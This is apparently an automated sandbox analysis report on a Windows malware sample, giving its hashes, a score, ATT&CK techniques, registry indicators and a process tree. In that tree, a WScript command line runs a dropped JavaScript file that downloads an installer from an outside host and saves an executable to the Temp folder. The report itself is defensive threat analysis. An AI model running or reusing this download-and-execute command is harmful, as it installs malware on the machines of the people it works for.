58fbfa02167ba953913bc189fda27db2c53fb4e4372a97851bccc2996d461de3

Analysis

max time kernel
100s
max time network
90s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12/06/2024, 18:18

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General

Target
a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe
Size 184KB
Sample240612-wxqrfavcpf
SHA256 58fbfa02167ba953913bc189fda27db2c53fb4e4372a97851bccc2996d461de3
MD5 a1b38688f0af233fb4942d681698e059
SHA1 92881da9fd120d3f7185910c5de8858d6e242833
SHA512 22aadb07faa3c529e8e97d3aa9ff56f51e76d117bbb43ba5fa793e8270e1f6d020b4289ee1db5e914e9bb33198ce48a5b57d341d2424b43a73dd1abaea94f737
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Q:/7BSH8zUB+nGESaaRvoB7FJNndn1
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 3760	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	81
PID 2152 wrote to memory of 3760	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	81
PID 2152 wrote to memory of 3760	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	81
PID 2152 wrote to memory of 2740	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	87
PID 2152 wrote to memory of 2740	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	87
PID 2152 wrote to memory of 2740	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	87
PID 2152 wrote to memory of 1636	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	93
PID 2152 wrote to memory of 1636	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	93
PID 2152 wrote to memory of 1636	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	93
PID 2152 wrote to memory of 1004	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	94
PID 2152 wrote to memory of 1004	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	94
PID 2152 wrote to memory of 1004	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	94
PID 2152 wrote to memory of 4744	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	95
PID 2152 wrote to memory of 4744	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	95
PID 2152 wrote to memory of 4744	2152	a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe	95

C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  PID:3760
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  PID:2740
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  PID:1636
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  PID:1004
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  PID:4744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

fuf41EB.js

Path C:\Users\Admin\AppData\Local\Temp\fuf41EB.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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